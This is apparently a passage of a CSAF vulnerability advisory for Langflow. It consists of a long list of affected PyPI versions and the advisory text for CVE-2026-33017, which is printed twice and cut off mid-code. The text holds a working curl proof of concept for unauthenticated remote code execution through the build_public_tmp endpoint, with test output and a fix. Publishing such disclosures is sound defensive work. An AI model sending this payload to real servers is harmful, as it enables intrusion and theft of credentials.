"product_version_range", "name": "vers:unknown/1.0.5", "product": { "name": "vers:unknown/1.0.5", "product_id": "CSAFPID-3234989", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.5" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.6", "product": { "name": "vers:unknown/1.0.6", "product_id": "CSAFPID-3234990", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.6" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.7", "product": { "name": "vers:unknown/1.0.7", "product_id": "CSAFPID-3234991", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.7" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.8", "product": { "name": "vers:unknown/1.0.8", "product_id": "CSAFPID-3234992", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.8" } } }, { "category": "product_version_range", "name": "vers:unknown/1.0.9", "product": { "name": "vers:unknown/1.0.9", "product_id": "CSAFPID-3234993", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.0.9" } } }, { "category": "product_version_range", "name": "vers:unknown/1.1.0", "product": { "name": "vers:unknown/1.1.0", "product_id": "CSAFPID-4774149", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.1.0" } } }, { "category": "product_version_range", "name": "vers:unknown/1.1.1", "product": { "name": "vers:unknown/1.1.1", "product_id": "CSAFPID-4774150", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.1.1" } } }, { "category": "product_version_range", "name": "vers:unknown/1.1.2", "product": { "name": "vers:unknown/1.1.2", "product_id": "CSAFPID-3739206", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.1.2" } } }, { "category": "product_version_range", "name": "vers:unknown/1.1.3", "product": { "name": "vers:unknown/1.1.3", "product_id": "CSAFPID-3739207", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.1.3" } } }, { "category": "product_version_range", "name": "vers:unknown/1.1.4", "product": { "name": "vers:unknown/1.1.4", "product_id": "CSAFPID-3739208", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.1.4" } } }, { "category": "product_version_range", "name": "vers:unknown/1.1.4.post1", "product": { "name": "vers:unknown/1.1.4.post1", "product_id": "CSAFPID-4774151", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.1.4.post1" } } }, { "category": "product_version_range", "name": "vers:unknown/1.2.0", "product": { "name": "vers:unknown/1.2.0", "product_id": "CSAFPID-3739209", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.2.0" } } }, { "category": "product_version_range", "name": "vers:unknown/1.3.0", "product": { "name": "vers:unknown/1.3.0", "product_id": "CSAFPID-3739210", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.3.0" } } }, { "category": "product_version_range", "name": "vers:unknown/1.3.1", "product": { "name": "vers:unknown/1.3.1", "product_id": "CSAFPID-3739211", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.3.1" } } }, { "category": "product_version_range", "name": "vers:unknown/1.3.2", "product": { "name": "vers:unknown/1.3.2", "product_id": "CSAFPID-3739212", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.3.2" } } }, { "category": "product_version_range", "name": "vers:unknown/1.3.3", "product": { "name": "vers:unknown/1.3.3", "product_id": "CSAFPID-3739213", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.3.3" } } }, { "category": "product_version_range", "name": "vers:unknown/1.3.4", "product": { "name": "vers:unknown/1.3.4", "product_id": "CSAFPID-3739214", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.3.4" } } }, { "category": "product_version_range", "name": "vers:unknown/1.4.0", "product": { "name": "vers:unknown/1.4.0", "product_id": "CSAFPID-3739215", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.4.0" } } }, { "category": "product_version_range", "name": "vers:unknown/1.4.1", "product": { "name": "vers:unknown/1.4.1", "product_id": "CSAFPID-3739216", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.4.1" } } }, { "category": "product_version_range", "name": "vers:unknown/1.4.2", "product": { "name": "vers:unknown/1.4.2", "product_id": "CSAFPID-3739217", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.4.2" } } }, { "category": "product_version_range", "name": "vers:unknown/1.4.3", "product": { "name": "vers:unknown/1.4.3", "product_id": "CSAFPID-4818258", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.4.3" } } }, { "category": "product_version_range", "name": "vers:unknown/1.5.0", "product": { "name": "vers:unknown/1.5.0", "product_id": "CSAFPID-4818259", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.5.0" } } }, { "category": "product_version_range", "name": "vers:unknown/1.5.0.post1", "product": { "name": "vers:unknown/1.5.0.post1", "product_id": "CSAFPID-3739218", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.5.0.post1" } } }, { "category": "product_version_range", "name": "vers:unknown/1.5.0.post2", "product": { "name": "vers:unknown/1.5.0.post2", "product_id": "CSAFPID-5281259", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.5.0.post2" } } }, { "category": "product_version_range", "name": "vers:unknown/1.5.1", "product": { "name": "vers:unknown/1.5.1", "product_id": "CSAFPID-5288776", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.5.1" } } }, { "category": "product_version_range", "name": "vers:unknown/1.6.0", "product": { "name": "vers:unknown/1.6.0", "product_id": "CSAFPID-5288777", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.6.0" } } }, { "category": "product_version_range", "name": "vers:unknown/1.6.1", "product": { "name": "vers:unknown/1.6.1", "product_id": "CSAFPID-5288778", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.6.1" } } }, { "category": "product_version_range", "name": "vers:unknown/1.6.2", "product": { "name": "vers:unknown/1.6.2", "product_id": "CSAFPID-5288779", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.6.2" } } }, { "category": "product_version_range", "name": "vers:unknown/1.6.3", "product": { "name": "vers:unknown/1.6.3", "product_id": "CSAFPID-5288780", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.6.3" } } }, { "category": "product_version_range", "name": "vers:unknown/1.6.4", "product": { "name": "vers:unknown/1.6.4", "product_id": "CSAFPID-5288781", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.6.4" } } }, { "category": "product_version_range", "name": "vers:unknown/1.6.5", "product": { "name": "vers:unknown/1.6.5", "product_id": "CSAFPID-5288782", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.6.5" } } }, { "category": "product_version_range", "name": "vers:unknown/1.6.6", "product": { "name": "vers:unknown/1.6.6", "product_id": "CSAFPID-5288783", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.6.6" } } }, { "category": "product_version_range", "name": "vers:unknown/1.6.7", "product": { "name": "vers:unknown/1.6.7", "product_id": "CSAFPID-5288784", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.6.7" } } }, { "category": "product_version_range", "name": "vers:unknown/1.6.8", "product": { "name": "vers:unknown/1.6.8", "product_id": "CSAFPID-5288785", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.6.8" } } }, { "category": "product_version_range", "name": "vers:unknown/1.6.9", "product": { "name": "vers:unknown/1.6.9", "product_id": "CSAFPID-5288786", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.6.9" } } }, { "category": "product_version_range", "name": "vers:unknown/1.7.0", "product": { "name": "vers:unknown/1.7.0", "product_id": "CSAFPID-5288787", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.7.0" } } }, { "category": "product_version_range", "name": "vers:unknown/1.7.1", "product": { "name": "vers:unknown/1.7.1", "product_id": "CSAFPID-5446094", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.7.1" } } }, { "category": "product_version_range", "name": "vers:unknown/1.7.2", "product": { "name": "vers:unknown/1.7.2", "product_id": "CSAFPID-5667815", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.7.2" } } }, { "category": "product_version_range", "name": "vers:unknown/1.7.3", "product": { "name": "vers:unknown/1.7.3", "product_id": "CSAFPID-5667816", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.7.3" } } }, { "category": "product_version_range", "name": "vers:unknown/1.8.0", "product": { "name": "vers:unknown/1.8.0", "product_id": "CSAFPID-5907976", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.8.0" } } }, { "category": "product_version_range", "name": "vers:unknown/1.8.0rc0", "product": { "name": "vers:unknown/1.8.0rc0", "product_id": "CSAFPID-5737696", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.8.0rc0" } } }, { "category": "product_version_range", "name": "vers:unknown/1.8.0rc1", "product": { "name": "vers:unknown/1.8.0rc1", "product_id": "CSAFPID-5737697", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.8.0rc1" } } }, { "category": "product_version_range", "name": "vers:unknown/1.8.0rc2", "product": { "name": "vers:unknown/1.8.0rc2", "product_id": "CSAFPID-5737698", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.8.0rc2" } } }, { "category": "product_version_range", "name": "vers:unknown/1.8.0rc3", "product": { "name": "vers:unknown/1.8.0rc3", "product_id": "CSAFPID-5907977", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.8.0rc3" } } }, { "category": "product_version_range", "name": "vers:unknown/1.8.0rc4", "product": { "name": "vers:unknown/1.8.0rc4", "product_id": "CSAFPID-5907978", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.8.0rc4" } } }, { "category": "product_version_range", "name": "vers:unknown/1.8.0rc5", "product": { "name": "vers:unknown/1.8.0rc5", "product_id": "CSAFPID-5907979", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.8.0rc5" } } }, { "category": "product_version_range", "name": "vers:unknown/1.8.0rc6", "product": { "name": "vers:unknown/1.8.0rc6", "product_id": "CSAFPID-5907980", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.8.0rc6" } } }, { "category": "product_version_range", "name": "vers:unknown/1.8.1", "product": { "name": "vers:unknown/1.8.1", "product_id": "CSAFPID-5907981", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.8.1" } } }, { "category": "product_version_range", "name": "vers:unknown/1.8.2", "product": { "name": "vers:unknown/1.8.2", "product_id": "CSAFPID-5912907", "product_identification_helper": { "purl": "pkg:pypi/langflow@1.8.2" } } }, { "category": "product_version_range", "name": "vers:unknown/<1.9.0", "product": { "name": "vers:unknown/<1.9.0", "product_id": "CSAFPID-5874505" } }, { "category": "product_version_range", "name": "vers:unknown/>=0|<=1.8.2", "product": { "name": "vers:unknown/>=0|<=1.8.2", "product_id": "CSAFPID-5918962" } } ], "category": "product_name", "name": "langflow" } ], "category": "vendor", "name": "langflow-ai" } ] }, "vulnerabilities": [ { "cve": "CVE-2026-33017", "cwe": { "id": "CWE-306", "name": "Missing Authentication for Critical Function" }, "notes": [ { "category": "description", "text": "## Summary\n\nThe `POST /api/v1/build_public_tmp/{flow_id}/flow` endpoint allows building public flows without requiring authentication. When the optional `data` parameter is supplied, the endpoint uses **attacker-controlled flow data** (containing arbitrary Python code in node definitions) instead of the stored flow data from the database. This code is passed to `exec()` with zero sandboxing, resulting in unauthenticated remote code execution.\n\nThis is distinct from CVE-2025-3248, which fixed `/api/v1/validate/code` by adding authentication. The `build_public_tmp` endpoint is **designed** to be unauthenticated (for public flows) but incorrectly accepts attacker-supplied flow data containing arbitrary executable code.\n\n## Affected Code\n\n### Vulnerable Endpoint (No Authentication)\n\n**File:** `src/backend/base/langflow/api/v1/chat.py`, lines 580-657\n\n```python\n@router.post(\"/build_public_tmp/{flow_id}/flow\")\nasync def build_public_tmp(\n *,\n flow_id: uuid.UUID,\n data: Annotated[FlowDataRequest | None, Body(embed=True)] = None, # ATTACKER CONTROLLED\n request: Request,\n # ... NO Depends(get_current_active_user) -- MISSING AUTH ...\n):\n \"\"\"Build a public flow without requiring authentication.\"\"\"\n client_id = request.cookies.get(\"client_id\")\n owner_user, new_flow_id = await verify_public_flow_and_get_user(flow_id=flow_id, client_id=client_id)\n\n job_id = await start_flow_build(\n flow_id=new_flow_id,\n data=data, # Attacker's data passed directly to graph builder\n current_user=owner_user,\n ...\n )\n```\n\nCompare with the authenticated build endpoint at line 138, which requires `current_user: CurrentActiveUser`.\n\n### Code Execution Chain\n\nWhen attacker-supplied `data` is provided, it flows through:\n\n1. `start_flow_build(data=attacker_data)` → `generate_flow_events()` -- `build.py:81`\n2. `create_graph()` → `build_graph_from_data(payload=data.model_dump())` -- `build.py:298`\n3. `Graph.from_payload(payload)` parses attacker nodes -- `base.py:1168`\n4. `add_nodes_and_edges()` → `initialize()` → `_build_graph()` -- `base.py:270,527`\n5. `_instantiate_components_in_vertices()` iterates nodes -- `base.py:1323`\n6. `vertex.instantiate_component()` → `instantiate_class(vertex)` -- `loading.py:28`\n7. `code = custom_params.pop(\"code\")` extracts attacker code -- `loading.py:43`\n8. `eval_custom_component_code(code)` → `create_class(code, class_name)` -- `eval.py:9`\n9. `prepare_global_scope(module)` -- `validate.py:323`\n10. `exec(compiled_code, exec_globals)` -- **ARBITRARY CODE EXECUTION** -- `validate.py:397`\n\n### Unsandboxed exec() in prepare_global_scope\n\n**File:** `src/lfx/src/lfx/custom/validate.py`, lines 340-397\n\n```python\ndef prepare_global_scope(module):\n exec_globals = globals().copy()\n\n # Imports are resolved first (any module can be imported)\n for node in imports:\n module_obj = importlib.import_module(module_name) # line 352\n exec_globals[variable_name] = module_obj\n\n # Then ALL top-level definitions are executed (Assign, ClassDef, FunctionDef)\n if definitions:\n combined_module = ast.Module(body=definitions, type_ignores=[])\n compiled_code = compile(combined_module, \"\", \"exec\")\n exec(compiled_code, exec_globals) # line 397 - ARBITRARY CODE EXECUTION\n```\n\n**Critical detail:** `prepare_global_scope` executes `ast.Assign` nodes. An attacker's code like `_x = os.system(\"id\")` is an assignment and will be executed during graph building -- before the flow even \"runs.\"\n\n## Prerequisites\n\n1. Target Langflow instance has at least **one public flow** (common for demos, chatbots, shared workflows)\n2. Attacker knows the public flow's UUID (discoverable via shared links/URLs)\n3. No authentication required -- only a `client_id` cookie (any arbitrary string value)\n\nWhen `AUTO_LOGIN=true` (the **default**), all prerequisites can be met by an unauthenticated attacker:\n1. `GET /api/v1/auto_login` → obtain superuser token\n2. `POST /api/v1/flows/` → create a public flow\n3. Exploit via `build_public_tmp` without any auth\n\n## Proof of Concept\n\n### Tested Against\n\n- **Langflow version 1.7.3** (latest stable release, installed via `pip install langflow`)\n- **Fully reproducible**: 6/6 runs confirmed RCE (two sets of 3 runs each)\n\n### Step 1: Obtain a Public Flow ID\n\n(In a real attack, the attacker discovers this via shared links. For the PoC, we create one via AUTO_LOGIN.)\n\n```bash\n# Get superuser token (no credentials needed when AUTO_LOGIN=true)\nTOKEN=$(curl -s http://localhost:7860/api/v1/auto_login | jq -r '.access_token')\n\n# Create a public flow\nFLOW_ID=$(curl -s -X POST http://localhost:7860/api/v1/flows/ \\\n -H \"Authorization: Bearer $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"name\":\"test\",\"data\":{\"nodes\":[],\"edges\":[]},\"access_type\":\"PUBLIC\"}' \\\n | jq -r '.id')\n\necho \"Public Flow ID: $FLOW_ID\"\n```\n\n### Step 2: Exploit -- Unauthenticated RCE\n\n```bash\n# EXPLOIT: Send malicious flow data to the UNAUTHENTICATED endpoint\n# NO Authorization header, NO API key, NO credentials\ncurl -X POST \"http://localhost:7860/api/v1/build_public_tmp/${FLOW_ID}/flow\" \\\n -H \"Content-Type: application/json\" \\\n -b \"client_id=attacker\" \\\n -d '{\n \"data\": {\n \"nodes\": [{\n \"id\": \"Exploit-001\",\n \"type\": \"genericNode\",\n \"position\": {\"x\":0,\"y\":0},\n \"data\": {\n \"id\": \"Exploit-001\",\n \"type\": \"ExploitComp\",\n \"node\": {\n \"template\": {\n \"code\": {\n \"type\": \"code\",\n \"required\": true,\n \"show\": true,\n \"multiline\": true,\n \"value\": \"import os, socket, json as _json\\n\\n_proof = os.popen(\\\"id\\\").read().strip()\\n_host = socket.gethostname()\\n_write = open(\\\"/tmp/rce-proof\\\",\\\"w\\\").write(f\\\"{_proof} on {_host}\\\")\\n\\nfrom lfx.custom.custom_component.component import Component\\nfrom lfx.io import Output\\nfrom lfx.schema.data import Data\\n\\nclass ExploitComp(Component):\\n display_name=\\\"X\\\"\\n outputs=[Output(display_name=\\\"O\\\",name=\\\"o\\\",method=\\\"r\\\")]\\n def r(self)->Data:\\n return Data(data={})\",\n \"name\": \"code\",\n \"password\": false,\n \"advanced\": false,\n \"dynamic\": false\n },\n \"_type\": \"Component\"\n },\n \"description\": \"X\",\n \"base_classes\": [\"Data\"],\n \"display_name\": \"ExploitComp\",\n \"name\": \"ExploitComp\",\n \"frozen\": false,\n \"outputs\": [{\"types\":[\"Data\"],\"selected\":\"Data\",\"name\":\"o\",\"display_name\":\"O\",\"method\":\"r\",\"value\":\"__UNDEFINED__\",\"cache\":true,\"allows_loop\":false,\"tool_mode\":false,\"hidden\":null,\"required_inputs\":null,\"group_outputs\":false}],\n \"field_order\": [\"code\"],\n \"beta\": false,\n \"edited\": false\n }\n }\n }],\n \"edges\": []\n },\n \"inputs\": null\n }'\n```\n\n### Step 3: Verify Code Execution\n\n```bash\n# Wait 2 seconds for async graph building\nsleep 2\n\n# Check proof file written by attacker's code on the server\ncat /tmp/rce-proof\n# Output: uid=1000(aviral) gid=1000(aviral) groups=... on kali\n```\n\n### Actual Test Results\n\n```\n======================================================================\nLANGFLOW v1.7.3 UNAUTHENTICATED RCE - DEFINITIVE E2E TEST\n======================================================================\nVersion: Langflow 1.7.3\n\nRUN 1: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH)\n HTTP 200 - Job ID: d8db19bf-a532-4f9d-a368-9c46d6235c19\n *** REMOTE CODE EXECUTION CONFIRMED ***\n canary: RCE-f0d19b36\n hostname: kali\n uid: 1000\n whoami: aviral\n id: uid=1000(aviral) gid=1000(aviral) groups=1000(aviral),...\n uname: Linux 6.16.8+kali-amd64\n\nRUN 2: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH)\n HTTP 200 - Job ID: d2e24f20-d707-4278-868c-583dd7532832\n *** REMOTE CODE EXECUTION CONFIRMED ***\n canary: RCE-6037a271\n\nRUN 3: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH)\n HTTP 200 - Job ID: 5962244a-42af-4ef6-b134-a6a4adba5ab7\n *** REMOTE CODE EXECUTION CONFIRMED ***\n canary: RCE-4a796556\n\nFINAL RESULTS\n Total checks: 15\n VULNERABLE: 15\n SAFE: 0\n RCE confirmed: 3/3 runs\n Reproducible: YES (100%)\n```\n\n## Impact\n\n- **Unauthenticated Remote Code Execution** with full server process privileges\n- **Complete server compromise**: arbitrary file read/write, command execution\n- **Environment variable exfiltration**: API keys, database credentials, cloud tokens (confirmed in PoC: env_keys exfiltrated)\n- **Reverse shell access** for persistent access\n- **Lateral movement** within the network\n- **Data exfiltration** from all flows, messages, and stored credentials in the database\n\n## Comparison with CVE-2025-3248\n\n| Aspect | CVE-2025-3248 | This Vulnerability |\n|--------|--------------|-------------------|\n| **Endpoint** | `/api/v1/validate/code` | `/api/v1/build_public_tmp/{id}/flow` |\n| **Fix applied** | Added `Depends(get_current_active_user)` | None -- NEW vulnerability |\n| **Root cause** | Missing auth on code validation | Unauthenticated endpoint accepts attacker-controlled executable code via `data` param |\n| **Code execution via** | `validate_code()` → `exec()` | `create_class()` → `prepare_global_scope()` → `exec()` |\n| **CISA KEV** | Yes (actively exploited) | N/A (new finding) |\n| **Can simple auth fix?** | Yes (and it was fixed) | No -- endpoint is *designed* to be unauthenticated; the `data` parameter must be removed |\n\n## Recommended Fix\n\n### Immediate (Short-term)\n\n**Remove the `data` parameter** from `build_public_tmp`. Public flows should only execute their stored flow data, never attacker-supplied data:\n\n```python\n@router.post(\"/build_public_tmp/{flow_id}/flow\")\nasync def build_public_tmp(\n *,\n flow_id: uuid.UUID,\n inputs: Annotated[InputValueRequest | None, Body(embed=True)] = None,\n # REMOVED: data parameter -- public flows must use stored data only\n ...\n):\n```\n\nIn `generate_flow_events` → `create_graph()`, only the `build_graph_from_db` path should be reachable for unauthenticated requests:\n\n```python\nasync def create_graph(fresh_session, flow_id_str, flow_name):\n # For public flows, ALWAYS load from database, never from user data\n return await build_graph_from_db(\n flow_id=flow_id,\n session=fresh_session,\n ...\n )\n```", "title": "github - https://github.com/advisories/GHSA-vwmf-pq79-vjvx" }, { "category": "description", "text": "## Summary\n\nThe `POST /api/v1/build_public_tmp/{flow_id}/flow` endpoint allows building public flows without requiring authentication. When the optional `data` parameter is supplied, the endpoint uses **attacker-controlled flow data** (containing arbitrary Python code in node definitions) instead of the stored flow data from the database. This code is passed to `exec()` with zero sandboxing, resulting in unauthenticated remote code execution.\n\nThis is distinct from CVE-2025-3248, which fixed `/api/v1/validate/code` by adding authentication. The `build_public_tmp` endpoint is **designed** to be unauthenticated (for public flows) but incorrectly accepts attacker-supplied flow data containing arbitrary executable code.\n\n## Affected Code\n\n### Vulnerable Endpoint (No Authentication)\n\n**File:** `src/backend/base/langflow/api/v1/chat.py`, lines 580-657\n\n```python\n@router.post(\"/build_public_tmp/{flow_id}/flow\")\nasync def build_public_tmp(\n *,\n flow_id: uuid.UUID,\n data: Annotated[FlowDataRequest | None, Body(embed=True)] = None, # ATTACKER CONTROLLED\n request: Request,\n # ... NO Depends(get_current_active_user) -- MISSING AUTH ...\n):\n \"\"\"Build a public flow without requiring authentication.\"\"\"\n client_id = request.cookies.get(\"client_id\")\n owner_user, new_flow_id = await verify_public_flow_and_get_user(flow_id=flow_id, client_id=client_id)\n\n job_id = await start_flow_build(\n flow_id=new_flow_id,\n data=data, # Attacker's data passed directly to graph builder\n current_user=owner_user,\n ...\n )\n```\n\nCompare with the authenticated build endpoint at line 138, which requires `current_user: CurrentActiveUser`.\n\n### Code Execution Chain\n\nWhen attacker-supplied `data` is provided, it flows through:\n\n1. `start_flow_build(data=attacker_data)` → `generate_flow_events()` -- `build.py:81`\n2. `create_graph()` → `build_graph_from_data(payload=data.model_dump())` -- `build.py:298`\n3. `Graph.from_payload(payload)` parses attacker nodes -- `base.py:1168`\n4. `add_nodes_and_edges()` → `initialize()` → `_build_graph()` -- `base.py:270,527`\n5. `_instantiate_components_in_vertices()` iterates nodes -- `base.py:1323`\n6. `vertex.instantiate_component()` → `instantiate_class(vertex)` -- `loading.py:28`\n7. `code = custom_params.pop(\"code\")` extracts attacker code -- `loading.py:43`\n8. `eval_custom_component_code(code)` → `create_class(code, class_name)` -- `eval.py:9`\n9. `prepare_global_scope(module)` -- `validate.py:323`\n10. `exec(compiled_code, exec_globals)` -- **ARBITRARY CODE EXECUTION** -- `validate.py:397`\n\n### Unsandboxed exec() in prepare_global_scope\n\n**File:** `src/lfx/src/lfx/custom/validate.py`, lines 340-397\n\n```python\ndef prepare_global_scope(module):\n exec_globals = globals().copy()\n\n # Imports are resolved first (any module can be imported)\n for node in imports:\n module_obj = importlib.import_module(module_name) # line 352\n exec_globals[variable_name] = module_obj\n\n # Then ALL top-level definitions are executed (Assign, ClassDef, FunctionDef)\n if definitions:\n combined_module = ast.Module(body=definitions, type_ignores=[])\n compiled_code = compile(combined_module, \"\", \"exec\")\n exec(compiled_code, exec_globals) # line 397 - ARBITRARY CODE EXECUTION\n```\n\n**Critical detail:** `prepare_global_scope` executes `ast.Assign` nodes. An attacker's code like `_x = os.system(\"id\")` is an assignment and will be executed during graph building -- before the flow even \"runs.\"\n\n## Prerequisites\n\n1. Target Langflow instance has at least **one public flow** (common for demos, chatbots, shared workflows)\n2. Attacker knows the public flow's UUID (discoverable via shared links/URLs)\n3. No authentication required -- only a `client_id` cookie (any arbitrary string value)\n\nWhen `AUTO_LOGIN=true` (the **default**), all prerequisites can be met by an unauthenticated attacker:\n1. `GET /api/v1/auto_login` → obtain superuser token\n2. `POST /api/v1/flows/` → create a public flow\n3. Exploit via `build_public_tmp` without any auth\n\n## Proof of Concept\n\n### Tested Against\n\n- **Langflow version 1.7.3** (latest stable release, installed via `pip install langflow`)\n- **Fully reproducible**: 6/6 runs confirmed RCE (two sets of 3 runs each)\n\n### Step 1: Obtain a Public Flow ID\n\n(In a real attack, the attacker discovers this via shared links. For the PoC, we create one via AUTO_LOGIN.)\n\n```bash\n# Get superuser token (no credentials needed when AUTO_LOGIN=true)\nTOKEN=$(curl -s http://localhost:7860/api/v1/auto_login | jq -r '.access_token')\n\n# Create a public flow\nFLOW_ID=$(curl -s -X POST http://localhost:7860/api/v1/flows/ \\\n -H \"Authorization: Bearer $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"name\":\"test\",\"data\":{\"nodes\":[],\"edges\":[]},\"access_type\":\"PUBLIC\"}' \\\n | jq -r '.id')\n\necho \"Public Flow ID: $FLOW_ID\"\n```\n\n### Step 2: Exploit -- Unauthenticated RCE\n\n```bash\n# EXPLOIT: Send malicious flow data to the UNAUTHENTICATED endpoint\n# NO Authorization header, NO API key, NO credentials\ncurl -X POST \"http://localhost:7860/api/v1/build_public_tmp/${FLOW_ID}/flow\" \\\n -H \"Content-Type: application/json\" \\\n -b \"client_id=attacker\" \\\n -d '{\n \"data\": {\n \"nodes\": [{\n \"id\": \"Exploit-001\",\n \"type\": \"genericNode\",\n \"position\": {\"x\":0,\"y\":0},\n \"data\": {\n \"id\": \"Exploit-001\",\n \"type\": \"ExploitComp\",\n \"node\": {\n \"template\": {\n \"code\": {\n \"type\": \"code\",\n \"required\": true,\n \"show\": true,\n \"multiline\": true,\n \"value\": \"import os, socket, json as _json\\n\\n_proof = os.popen(\\\"id\\\").read().strip()\\n_host = socket.gethostname()\\n_write = open(\\\"/tmp/rce-proof\\\",\\\"w\\\").write(f\\\"{_proof} on {_host}\\\")\\n\\nfrom lfx.custom.custom_component.component import Component\\nfrom lfx.io import Output\\nfrom lfx.schema.data import Data\\n\\nclass ExploitComp(Component):\\n display_name=\\\"X\\\"\\n outputs=[Output(display_name=\\\"O\\\",name=\\\"o\\\",method=\\\"r\\\")]\\n def r(self)->Data:\\n return Data(data={})\",\n \"name\": \"code\",\n \"password\": false,\n \"advanced\": false,\n \"dynamic\": false\n },\n \"_type\": \"Component\"\n },\n \"description\": \"X\",\n \"base_classes\": [\"Data\"],\n \"display_name\": \"ExploitComp\",\n \"name\": \"ExploitComp\",\n \"frozen\": false,\n \"outputs\": [{\"types\":[\"Data\"],\"selected\":\"Data\",\"name\":\"o\",\"display_name\":\"O\",\"method\":\"r\",\"value\":\"__UNDEFINED__\",\"cache\":true,\"allows_loop\":false,\"tool_mode\":false,\"hidden\":null,\"required_inputs\":null,\"group_outputs\":false}],\n \"field_order\": [\"code\"],\n \"beta\": false,\n \"edited\": false\n }\n }\n }],\n \"edges\": []\n },\n \"inputs\": null\n }'\n```\n\n### Step 3: Verify Code Execution\n\n```bash\n# Wait 2 seconds for async graph building\nsleep 2\n\n# Check proof file written by attacker's code on the server\ncat /tmp/rce-proof\n# Output: uid=1000(aviral) gid=1000(aviral) groups=... on kali\n```\n\n### Actual Test Results\n\n```\n======================================================================\nLANGFLOW v1.7.3 UNAUTHENTICATED RCE - DEFINITIVE E2E TEST\n======================================================================\nVersion: Langflow 1.7.3\n\nRUN 1: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH)\n HTTP 200 - Job ID: d8db19bf-a532-4f9d-a368-9c46d6235c19\n *** REMOTE CODE EXECUTION CONFIRMED ***\n canary: RCE-f0d19b36\n hostname: kali\n uid: 1000\n whoami: aviral\n id: uid=1000(aviral) gid=1000(aviral) groups=1000(aviral),...\n uname: Linux 6.16.8+kali-amd64\n\nRUN 2: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH)\n HTTP 200 - Job ID: d2e24f20-d707-4278-868c-583dd7532832\n *** REMOTE CODE EXECUTION CONFIRMED ***\n canary: RCE-6037a271\n\nRUN 3: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH)\n HTTP 200 - Job ID: 5962244a-42af-4ef6-b134-a6a4adba5ab7\n *** REMOTE CODE EXECUTION CONFIRMED ***\n canary: RCE-4a796556\n\nFINAL RESULTS\n Total checks: 15\n VULNERABLE: 15\n SAFE: 0\n RCE confirmed: 3/3 runs\n Reproducible: YES (100%)\n```\n\n## Impact\n\n- **Unauthenticated Remote Code Execution** with full server process privileges\n- **Complete server compromise**: arbitrary file read/write, command execution\n- **Environment variable exfiltration**: API keys, database credentials, cloud tokens (confirmed in PoC: env_keys exfiltrated)\n- **Reverse shell access** for persistent access\n- **Lateral movement** within the network\n- **Data exfiltration** from all flows, messages, and stored credentials in the database\n\n## Comparison with CVE-2025-3248\n\n| Aspect | CVE-2025-3248 | This Vulnerability |\n|--------|--------------|-------------------|\n| **Endpoint** | `/api/v1/validate/code` | `/api/v1/build_public_tmp/{id}/flow` |\n| **Fix applied** | Added `Depends(get_current_active_user)` | None -- NEW vulnerability |\n| **Root cause** | Missing auth on code validation | Unauthenticated endpoint accepts attacker-controlled executable code via `data` param |\n| **Code execution via** | `validate_code()` → `exec()` | `create_class()` → `prepare_global_scope()` → `exec()` |\n| **CISA KEV** | Yes (actively exploited) | N/A (new finding) |\n| **Can simple auth fix?** | Yes (and it was fixed) | No -- endpoint is *designed* to be unauthenticated; the `data` parameter must be removed |\n\n## Recommended Fix\n\n### Immediate (Short-term)\n\n**Remove the `data` parameter** from `build_public_tmp`. Public flows should only execute their stored flow data, never attacker-supplied data:\n\n```python\n@router.post(\"/build_public_tmp/{flow_id}/flow\")\nasync def build_public_tmp(\n *,\n flow_id: uuid.UUID,\n inputs: Annotated[InputValueRequest | None, Body(embed=True)] = None,\n # REMOVED: data parameter -- public flows must use stored data only\n ...\n):\n```\n\nIn `generate_flow_events` → `create_graph()`, only the `build_graph_from_db` path should be reachable for unauthenticated requests:\n\n```python\nasync def 